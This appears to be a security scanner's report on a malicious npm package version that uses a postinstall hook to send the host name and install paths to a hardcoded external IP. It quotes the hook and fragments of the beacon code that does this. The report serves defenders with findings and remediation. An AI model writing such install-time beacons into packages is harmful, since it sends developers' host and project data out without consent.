@blueskydataplatform/shared-ui@99.0.2
Compatibility shim.
This package appears in our research on the dependency confusion probes at version 99 and above, with how it works, the full package list and what to do if you installed it.
AI Security Review
scanned 43m ago · by lpm-firewall-aiSource confirms automatic install-time disclosure of host and project identifying data to a hardcoded external collector without an affirmative consent gate. This supports blocking as installation-time data exfiltration.
Static reason
One or more suspicious static signals were detected.; source fingerprint signature matched known malicious package; routed for review
Trigger
Package installation runs the postinstall hook; importing index.js also invokes the beacon.
Impact
The external recipient receives installation and host-identifying metadata without an affirmative consent gate.
Mechanism
beacon.cjs sends a POST containing the host name and package/project paths to a hardcoded external IP.
Attack narrative
During postinstall, the package sends host and package/project path metadata to a hardcoded external endpoint. The main entry point also invokes the same beacon when imported.
AI rationale
Source confirms automatic install-time disclosure of host and project identifying data to a hardcoded external collector without an affirmative consent gate. This supports blocking as installation-time data exfiltration.
Evidence
package.jsonbeacon.cjsindex.js
Network endpoints1
185.158.107.175:8787/_ah/dc
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- package.json runs beacon.cjs automatically during postinstall.
- beacon.cjs sends a POST to a hardcoded external IP address.
- The POST payload includes the host name and package/project paths.
- Importing index.js also calls the beacon.
Evidence against
Behavioral surface
Network
UrlStrings
Source & flagged code
9 flagged · loading sourcepackage.jsonView file
•scripts.postinstall = node beacon.cjs
High
Install Time Lifecycle Scripts
Package defines install-time lifecycle scripts.
package.jsonView on unpkg6"scripts": {
"postinstall": "node beacon.cjs"
},
"files": [
"index.js",
"beacon.cjs
High
Suspicious Lifecycle Evidence
package.json runs beacon.cjs automatically during postinstall.
package.jsonView on unpkg · L6beacon.cjsView file
3// recipient can correlate an install. No data beyond that is collected or sent.
L4: var BEACON = "http://185.158.107.175:8787/_ah/dc";
L5: var PKG = "@blueskydataplatform/shared-ui";
...
L10: var lib = u.protocol === 'https:' ? require('https') : require('http');
L11: var data = Buffer.from(JSON.stringify(payload));
L12: var req = lib.request({
...
L20: req.setTimeout(5000, function () { try { req.destroy(); } catch (e) {} resolve(); });
L21: req.write(data); req.end();
L22: } catch (e) { resolve(); }
...
L27: package: PKG,
L28: hostname: (function () { try { return require('os').hostname(); } catch (e) { return ''; } })(),
L29: installPath: __dirname,
Findings
9 High1 Medium2 Low
HighInstall Time Lifecycle Scriptspackage.json
HighHost Fingerprint Exfiltrationbeacon.cjs
HighKnown Malware Source Fingerprint Signaturebeacon.cjs
HighSuspicious Lifecycle Evidencepackage.json
HighAi Review Evidencebeacon.cjs
HighAi Review Evidencebeacon.cjs
HighAi Review Evidencebeacon.cjs
HighAi Review Evidencebeacon.cjs
HighAi Review Evidenceindex.js
MediumNetwork
LowScripts Present
LowUrl Strings
Affected versions and remediation
This report applies to @blueskydataplatform/shared-ui@99.0.2.
See all versions of @blueskydataplatform/shared-ui for other recorded verdicts.
- Avoid installing @blueskydataplatform/shared-ui@99.0.2. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.